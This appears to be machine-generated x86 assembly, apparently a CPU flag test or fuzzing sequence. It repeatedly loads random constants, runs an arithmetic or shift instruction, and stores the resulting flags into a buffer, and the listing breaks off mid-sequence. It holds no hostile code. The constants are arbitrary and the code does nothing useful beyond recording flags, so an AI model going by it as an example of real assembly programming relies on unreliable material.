inc edx
mov ebx, 0x5a09d8b8
mov ecx, 0x6f10265a
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf4270c8d
sal ebx, 0xc7
mov eax, 0x411f61c3
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xbb3ed6f
dec edx
mov ebx, 0xb00f61c4
mov ecx, 0xe16e4985
ror ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x821e0463
sar ebx, 0xd9
mov eax, 0x4c824518
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x78505df
mov ecx, 0xb4fc1e79
ror edx, cl
mov edx, 0xa900ff1b
sal edx, 0x84
mov ecx, 0x42714ca9
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x5230caeb
rol eax, 1
mov eax, 0xac65570a
aaa
mov ebx, 0xa760784f
mov ecx, 0xcf63c6e9
sar ebx, cl
mov eax, 0xcd5189f4
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa890dbcb
mov ecx, 0x5753579d
ror edx, cl
mov edx, 0xf9a87e83
mov ecx, 0x5dcba71e
ror edx, cl
mov edx, 0x8f2aeb5
mov ecx, 0x53fd8bfc
ror edx, cl
mov eax, 0x5b5ba37
mov ecx, 0xdec5c37
ror eax, cl
mov ebx, 0x2c97ab20
mov ecx, 0xdb16a436
ror ebx, cl
mov edx, 0xcc69ea55
rol edx, 1
mov eax, 0x479b868e
sub eax, 0xe7386147
mov eax, 0x754751cd
rol eax, 1
mov ebx, 0x875b6d22
sal ebx, 0x1a
mov edx, 0x2327499f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8e79cd5e
aaa
mov eax, 0x7f0f798e
sal eax, 1
mov ebx, 0x2342aaf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x49ffc293
dec eax
mov edx, 0xc7823960
mov ecx, 0xb2cd7fbc
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf7e88f1e
cmp ecx, 0x6e010528
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2f5ad3d
mov edx, 0x188ad85f
add ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x45a901b7
mov ecx, 0x45305bd9
ror eax, cl
mov edx, 0x4ebb9cae
mov ecx, 0x5f4a8ea5
rol edx, cl
mov ebx, 0xa1f0b26f
cmp ebx, 0x43692c7f
mov eax, 0xbf08e7c1
aas
mov ebx, 0x18871232
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa29ea88e
mov ecx, 0xd8d9d432
ror ebx, cl
mov edx, 0xca111ce5
mov ecx, 0xfa3827e6
rol edx, cl
mov edx, 0x297cf4f5
shl edx, 0xe1
mov eax, 0x6168fb29
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xc7fe7b23
inc ebx
mov edx, 0x660a97f0
mov ecx, 0x1675a535
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x45010aff
sub ebx, 0xdfa6157c
mov ebx, 0x22dd5253
rol ebx, 1
mov ecx, 0x65aabb70
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x7d4d5307
rol eax, 1
mov ebx, 0x276f3529
mov ecx, 0x1a4e6e1e
ror ebx, cl
mov ebx, 0x2880bad2
mov ecx, 0x6eb966d2
sub ebx, ecx
mov eax, 0xad7bea69
aas
mov edx, 0x38dccfb7
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd347ae3c
mov ecx, 0x2e8640b8
rol ebx, cl
mov ebx, 0x7e2ca608
sal ebx, 1
mov ecx, 0x5118f095
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xc073acda
mov ecx, 0x24e2fa8a
rol eax, cl
mov eax, 0x2d665078
shl eax, 0x44
mov eax, 0xb9f2b149
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xd31f21c
mov ecx, 0xd5d8580d
rol eax, cl
mov edx, 0xb026b84c
mov ecx, 0x781b7e2
rol edx, cl
mov ebx, 0x6475440b
shl ebx, 0xba
mov ebx, 0x5bdc779f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8247781e
mov ecx, 0x39868967
rol eax, cl
mov ebx, 0x733fbcd3
mov ecx, 0xf35e7135
rol ebx, cl
mov edx, 0x10367e37
mov ecx, 0x9dd13f18
rol edx, cl
mov ebx, 0x460d3e38
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xaa2f50d5
aaa
mov edx, 0xf2e6c9c1
rol edx, 1
mov eax, 0xe35f775
shl eax, 1
mov edx, 0x58b1f275
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x295168b5
sal ebx, 0x67
mov edx, 0x37424b65
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa8695a63
mov ecx, 0x7af07342
sal eax, cl
mov eax, 0x6225d805
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xe39ea755
mov eax, 0x3e7f9520
add ebx, eax
mov eax, 0x7e77c159
aas
mov ecx, 0x31501166
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xda68524e
mov ecx, 0x498b5d39
ror edx, cl
mov eax, 0xb9d61b49
sub eax, 0x84572687
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa74f68f8
rol ebx, 1
mov eax, 0x44866222
mov ecx, 0xb16141b9
ror eax, cl
mov edx, 0xfa37696d
cmp edx, 0x7ba4e39a
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x90c5a599
mov ecx, 0x9b3c0e4f
ror eax, cl
mov edx, 0xdf27ccfb
mov ecx, 0x7de696de
ror edx, cl
mov edx, 0xef44572
rol edx, 1
mov edx, 0x488c507c
shl edx, 1
mov eax, 0xb2427950
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x38143a6f
mov ecx, 0x22674147
shl edx, cl
mov ebx, 0x93b9e284
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7357e747
rol edx, 1
mov ebx, 0x5d733000
dec ebx
mov eax, 0x5dcf4f79
mov ecx, 0xae2efd0d
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x37c7212d
sub ebx, 0x91f49229
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x2b8c2641
mov ebx, 0x62d55f4c
add ecx, ebx
mov edx, 0xa9a111ed
mov ecx, 0x5e087d4b
rol edx, cl
mov ebx, 0x5c7fd9ef
mov ecx, 0xb99e9b96
rol ebx, cl
mov edx, 0x1b095680
neg edx
mov ebx, 0xa3ff7784
rol ebx, 1
mov ebx, 0xf2649eb8
rol ebx, 1
mov edx, 0x78c920cc
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x9d54747
mov ecx, 0xe8c7272
rol eax, cl
mov eax, 0x3eaf39c6
shl eax, 1
mov ecx, 0x33f9f74b
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8384998d
cmp eax, 0x676dbb6b
mov ebx, 0x9f5ee943
shl ebx, 1
mov eax, 0x536a0026
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x620d1f6a
inc ecx
mov eax, 0x12091568
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x1baf13
aas
mov ebx, 0x97f42a5c
mov ecx, 0x95c759d0
ror ebx, cl
mov ebx, 0x8469de31
mov ecx, 0x46f0686e
ror ebx, cl
mov eax, 0x408a050
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x59d9eb77
rol ebx, 1
mov eax, 0x56e408ea
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x458b4966
mov ecx, 0xaf5a4f1a
ror edx, cl
mov ecx, 0x67261c44
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xb8b95652
mov ecx, 0x5a80765d
ror ebx, cl
mov ebx, 0xd9aea678
sal ebx, 0xb6
mov ebx, 0xc1ffe35f
inc ebx
mov ebx, 0xf1f73095
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x31ce7431
mov ecx, 0x66c97e76
rol ebx, cl
mov ebx, 0x2601806f
mov ecx, 0x8fe814ed
ror ebx, cl
mov edx, 0xaa7ee433
rol edx, 1
mov ebx, 0x8b564a10
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xfda9f8fa
mov ecx, 0xdd300b78
rol ebx, cl
mov ebx, 0x224852cf
inc ebx
mov edx, 0xec92801d
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7b522b5b
mov ecx, 0xae2388f2
cmp eax, ecx
mov edx, 0xc63b1794
mov ebx, 0x9158ab60
add edx, ebx
mov ebx, 0x89830be9
mov ecx, 0x28323a81
rol ebx, cl
mov ecx, 0x61f5db95
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xbbc49613
rol eax, 1
mov ecx, 0x19fd1f6b
mov eax, 0x56f25933
add ecx, eax
mov edx, 0x4714a257
shl edx, 1
mov ebx, 0x7a179152
mov edx, 0x2e04461b
cmp ebx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa2c75517
add ebx, 0x20f4db93
mov ecx, 0x9033b4f6
inc ecx
mov eax, 0xfc8ff77f
mov ecx, 0x8fee9424
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x6520b6b0
rol edx, 1
mov edx, 0x277fbc9f
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xd57b413
cmp eax, 0x6044e277
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4b5eba11
sal ebx, 1
mov ecx, 0x5cf8dc56
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa334b5ac
mov ecx, 0xc6076bf8
rol ebx, cl
mov ebx, 0x6eff09ba
rol ebx, 1
mov eax, 0x7fcdff45
sub eax, 0x1082c316
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2dda8991
mov ecx, 0xdb85565f
rol ebx, cl
mov edx, 0x9e32daf7
mov ecx, 0xf63d7c82
rol edx, cl
mov ecx, 0x62a9ec12
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x1b489103
rol edx, 1
mov eax, 0x4363537d
rol eax, 1
mov ecx, 0x418d17e6
cmp ecx, 0xf42d511
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3fa73161
mov ecx, 0x1066fef3
rol ebx, cl
mov eax, 0x2f431c58
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd9b52288
inc eax
mov ebx, 0x5f16d756
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x606975bf
mov ecx, 0x12f0685a
ror edx, cl
mov ebx, 0xb9c62e42
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x418b8b53
mov edx, 0x7268aced
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb33c528c
rol eax, 1
mov eax, 0xce94022f
inc eax
mov ebx, 0xb75687a9
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd9a9f23c
mov ecx, 0xa930d368
rol eax, cl
mov ebx, 0x14ec7102
shl ebx, 0xa
mov eax, 0xf65a6ea0
rol eax, 1
mov edx, 0x304b3d23
cmp edx, 0x9a2825b4
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x86406836
rol edx, 1
mov ebx, 0x4f22bb75
mov ecx, 0x3db3655b
cmp ebx, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x4c88eb68
mov ecx, 0xb02b5926
rol edx, cl
mov eax, 0x885974f2
mov ecx, 0x24a009a2
ror eax, cl
mov edx, 0x6be11b53
mov ecx, 0xc1487c01
sar edx, cl
mov ebx, 0xd8843f33
rol ebx, 1
mov edx, 0x2b96643
mov ecx, 0x8c80ce18
ror edx, cl
mov ecx, 0x450acdbf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x4bac23b
dec ecx
mov eax, 0x7112ba69
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6e55611f
mov ecx, 0x350ce993
rol edx, cl
mov ebx, 0x9f88961e
rol ebx, 1
mov eax, 0x51d7b71b
aas
mov eax, 0x8f303368
mov ecx, 0x347359d9
rol eax, cl
mov edx, 0xc2e110ed
add edx, 0xb80681a2
mov eax, 0x41d5d68c
aas
mov edx, 0x2eb68d8f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4abc7b89
mov ecx, 0xb6af8b18
ror edx, cl
mov edx, 0xecb4fc4
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x8c43c885
rol ebx, 1
mov ebx, 0xc5694c5f
mov edx, 0x3bee0b23
cmp ebx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaa87c913
mov ecx, 0xdac61c52
rol edx, cl
mov edx, 0x7c9e974c
mov ecx, 0xdad9d637
ror edx, cl
mov ebx, 0x4377cdd6
mov ecx, 0x817644ed
rol ebx, cl
mov eax, 0x22500789
aaa
mov eax, 0x76e69630
neg eax
mov ebx, 0x4d64a83e
rol ebx, 1
mov ebx, 0x51ef4cb0
neg ebx
mov eax, 0xc3fd2f20
cmp eax, 0xb8f2df58
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x744a3792
mov ecx, 0x75b52f79
rol edx, cl
mov edx, 0x379be4e6
mov eax, 0x1738f7d9
add edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x744e4cae
mov ecx, 0x2349f26d
ror ebx, cl
mov ebx, 0x2767f333
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x70b972c8
aas
mov ebx, 0xbaba2b2f
shl ebx, 1
mov eax, 0x6547f188
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x210de3f1
inc ebx
mov edx, 0x3f3c96cb
mov ecx, 0xad2f880f
ror edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x10c42039
mov ecx, 0x2fd76b03
sal eax, cl
mov edx, 0xf4adecf
inc edx
mov ebx, 0x3da2ed02
mov ecx, 0xad6db2ff
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4cab8848
mov ecx, 0xef08c566
add eax, ecx
mov eax, 0xcbddb673
aaa
mov ecx, 0x48d9a366
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2a381138
mov ecx, 0xb69be8d9
ror ebx, cl
mov ecx, 0x664de924
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x597c667f
mov ecx, 0xc86f4676
rol eax, cl
mov eax, 0x7cbd0128
mov ecx, 0x5c147687
rol eax, cl
mov ebx, 0xf2445f43
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x645996d7
mov eax, 0x81e101f
add ebx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfcf62d15
aas
mov eax, 0x3f00ff11
add eax, 0x339958a
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2e56da37
add ecx, 0x1ed76621
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xaa4ab657
cmp ecx, 0x3dbbd872
mov eax, 0x38a283a3
aas
mov eax, 0xc4f09c63
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x162d4e22
add eax, 0x57623b13
mov eax, 0xbd3b2bc6
mov ecx, 0x77ca4b38
ror eax, cl
mov eax, 0x5c91ddff
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6c938791
inc edx
mov ebx, 0x3eef315c
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x1ce71a27
mov ecx, 0x1aa6da5d
ror ebx, cl
mov ecx, 0x96c41b46
mov eax, 0x19ad7e96
cmp ecx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xe4069efe
mov ecx, 0x1ee10eaf
sar ebx, cl
mov eax, 0xbb6de653
mov ecx, 0xa7848052
rol eax, cl
mov ecx, 0x77812acf
inc ecx
mov ebx, 0xabd557b
mov ecx, 0x62142173
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x32aee038
cmp ecx, 0xc84ff7f2
mov eax, 0x9a6be2bd
aas
mov eax, 0xbc3b88b4
mov ecx, 0x12cab533
ror eax, cl
mov eax, 0x77b31050
cmp eax, 0xb1707e2d
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x26d216ae
mov ecx, 0xbd5d1691
rol edx, cl
mov eax, 0x3ccc732c
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x630197ae
add ebx, 0xa5a68b30
mov eax, 0x76326cb1
aaa
mov ecx, 0x141810b1
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x8f1dd472
sar ebx, 0xfe
mov ecx, 0x2abf381b
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x25b6a49c
rol ebx, 1
mov edx, 0x218916a2
dec edx
mov ebx, 0x1c9ae5e4
mov ecx, 0x4d45ed02
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x14318437
mov ebx, 0xb7162280
sub edx, ebx
mov eax, 0xaaf08871
aaa
mov ebx, 0x861c6b5e
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7cb4654b
sal ebx, 1
mov ecx, 0x6e774c40
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfb7524a2
mov ecx, 0x42ac8b26
sal eax, cl
mov edx, 0x69d62ace
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x214725d7
shl edx, 1
mov ecx, 0x7ce0adf0
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe94b083c
sub eax, 0x5f288c06
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x91884400
neg ecx
mov ebx, 0x38eb4c69
sal ebx, 1
mov ebx, 0x4afad64f
inc ebx
mov ebx, 0x1cc695b7
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x914c7c11
sub eax, 0x3595da88
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2102d1eb
dec ebx
mov edx, 0xe57cdbc1
mov ecx, 0x46fcc3c
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xe75feddc
dec ebx
mov eax, 0x7098941f
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xbab06377
mov ecx, 0xddf3ac43
ror eax, cl
mov edx, 0x51d3525f
inc edx
mov ebx, 0x382fad43
mov ecx, 0xf60e5886
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x48d40af5
sal eax, 1
mov eax, 0x1e400cc8
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x4ff0bda
add ebx, 0x2cc1594
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xa9e770bf
inc ecx
mov eax, 0xeedfc03d
mov ecx, 0x997ea054
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xdad70fb0
dec eax
mov edx, 0x4d73a0be
mov ecx, 0xc5e2fabf
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x1b459273
mov eax, 0xd29a09af
cmp ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8fec7217
shl edx, 1
mov ebx, 0x39bbe59a
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x4912eddf
inc ecx
mov edx, 0xe45ed9e4
mov ecx, 0x9997d56
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x43e64ce4
mov ecx, 0x9241c210
sar eax, cl
mov ecx, 0x8587f0f
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x3e00a569
mov eax, 0x963972b3
add edx, eax
mov eax, 0x98fb6ed5
aas
mov ecx, 0x35ad7f92
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x26924648
mov ecx, 0xe41d8dd8
ror ebx, cl
mov ecx, 0x79d564d1
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x689aa0c
inc edx
mov ebx, 0x82459da5
mov ecx, 0x62bc6736
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x44a729ac
aaa
mov eax, 0x26bd3bf0
dec eax
mov ebx, 0x71b992fd
mov ecx, 0x5780ce8b
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9ef1498e
rol edx, 1
mov edx, 0xdeae1d42
sar edx, 1
mov ebx, 0x2e47beb8
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x9f3f2f76
mov ebx, 0x300c83c1
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x95c20831
add ecx, 0xfd3aeca
mov eax, 0xd62f389b
aaa
mov ecx, 0xd95d5c40
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xf056b56c
sal eax, 1
mov eax, 0xb763fbd0
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf55102b6
mov eax, 0x51b6344b
add ebx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x7daf36b3
mov ecx, 0xe18edb1e
rol edx, cl
mov ebx, 0x94667c29
sal ebx, 1
mov eax, 0x1dc041a7
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3eeed9de
add ebx, 0x7f8f94e1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7c202034
mov ecx, 0xff23523d
ror edx, cl
mov edx, 0xb7aaf6da
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf7135b3c
mov ecx, 0x9202290e
rol ebx, cl
mov eax, 0xe30535b6
mov ecx, 0xce7cc4a1
rol eax, cl
mov edx, 0x3adc8c1e
sar edx, 0x68
mov ecx, 0x20863a97
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x946e6f91
mov edx, 0xe70f9749
cmp eax, edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x4a34384b
mov ecx, 0xa90746dd
ror edx, cl
mov eax, 0x452a9014
rol eax, 1
mov eax, 0x1685788c
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x4af42af0
dec edx
mov ebx, 0xefdeb500
mov ecx, 0x1319fd75
rol ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xdd783e54
aas
mov edx, 0x1c8d36a5
rol edx, 1
mov edx, 0xccafc597
mov ecx, 0xc8ee6b7
ror edx, cl
mov edx, 0x1f66a73c
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x11f94326
rol ebx, 1
mov ebx, 0x77d861cc
mov ecx, 0x36bbaf3e
ror ebx, cl
mov eax, 0x1d4cc119
cmp eax, 0xd195d366
mov eax, 0x6f76edd1
aas
mov ecx, 0x56130b21
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x748bf1cb
rol eax, 1
mov ecx, 0xedbaccae
mov edx, 0x146b8ac6
cmp ecx, edx
mov ebx, 0x52b1cd10
inc ebx
mov ebx, 0x3f6e2de1
mov ecx, 0xa6e9f60d
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x580799ee
sal ebx, 1
mov edx, 0x88d20098
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x89cfdc31
rol edx, 1
mov edx, 0x3106782e
mov ecx, 0x7fe1cf07
rol edx, cl
mov eax, 0x4a1959b7
sal eax, 1
mov ebx, 0xf078e674
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9112a91
sub ebx, 0x3a76a4aa
lahf
mov byte [edi], ah
inc edi
mov eax, 0x224e31da
rol eax, 1
mov eax, 0x2d26ed74
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x67097727
rol edx, 1
mov ebx, 0x512820b7
mov ecx, 0x634b0232
rol ebx, cl
mov ebx, 0x1d401bf9
rol ebx, 1
mov edx, 0x4fca835d
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5e044d97
aaa
mov ecx, 0xf8f52f72
cmp ecx, 0xd68afe4c
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xd0fd2e37
neg ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xc4160f3b
mov ecx, 0x353103f2
sar eax, cl
mov ecx, 0x6cfac943
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x2c67295b
mov ecx, 0xb826d7a1
sal ebx, cl
mov ebx, 0x17f355af
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x926b8853
rol eax, 1
mov edx, 0x418667e0
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe955d1e7
mov ecx, 0xbc0c5494
sar eax, cl
mov edx, 0xc5d1518a
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd1c5baf6
inc ebx
mov edx, 0x5ad4a04b
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x306ceff7
rol eax, 1
mov edx, 0x21043065
dec edx
mov eax, 0xd6885704
mov ecx, 0x222b3a97
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5eff5d93
inc ebx
mov edx, 0xec1b7548
mov ecx, 0x962aec7c
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x355c3e3f
mov eax, 0xf0656453
sub edx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3c9036a4
mov eax, 0xd989b5c1
sub ebx, eax
mov eax, 0xf49a7432
aaa
mov ebx, 0x30c1a9de
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf9500cb0
sar eax, 0xf6
mov ecx, 0x7598887f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xc3a489d0
neg ebx
mov eax, 0x76109c28
aas
mov ebx, 0x230e0d9a
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x85e6679b
rol eax, 1
mov ebx, 0x9279abbe
rol ebx, 1
mov ebx, 0x17b13bbb
dec ebx
mov eax, 0x230fa109
mov ecx, 0x406e3018
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4aa3a6fc
shl ebx, 1
mov ecx, 0xedff5ffe
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x49a91cc4
cmp ebx, 0xb2eefbb
lahf
mov byte [edi], ah
inc edi
mov eax, 0x56f44516
mov ecx, 0xf0c76e6d
rol eax, cl
mov eax, 0x63d5b6dd
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x65243a77
dec ebx
mov ebx, 0x34bcc3b0
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5ea7f123
rol eax, 1
mov edx, 0x47699e30
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xa94c2ce0
dec ecx
mov eax, 0xe38e515
mov ecx, 0xaa9b084b
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa34e4a77
cmp edx, 0x7c6f4506
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8014975f
mov ecx, 0x8a67862b
ror ebx, cl
mov edx, 0x5f5fca35
dec edx
mov ebx, 0xd5f357b2
mov ecx, 0x20624707
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x435688d
mov edx, 0x20ca3151
add eax, edx
mov eax, 0x3717ac42
aas
mov ebx, 0x2db3cca9
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x507aeedb
mov ecx, 0x64a52008
ror edx, cl
mov eax, 0x1acc4013
mov ecx, 0x7cffd306
rol eax, cl
mov ecx, 0x17b8dabd
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x81932427
rol ebx, 1
mov edx, 0x13a66408
rol edx, 1
mov ebx, 0xf583e683
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x551d1f66
sal ebx, 1
mov edx, 0x4fc04460
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x28f00d07
mov ecx, 0xbe695425
cmp eax, ecx
mov eax, 0xffab9bc6
aas
mov ebx, 0x7fc644f7
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x59aa2973
shl ebx, 0x23
mov eax, 0x6676f685
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x17bd92e3
mov ecx, 0x8314446f
ror edx, cl
mov eax, 0x8175df3a
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd9443703
mov ecx, 0xca577391
rol edx, cl
mov edx, 0x430998ef
inc edx
mov eax, 0x4a41151f
mov ecx, 0x9d2821f2
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbbca668f
mov ecx, 0xb13bfea6
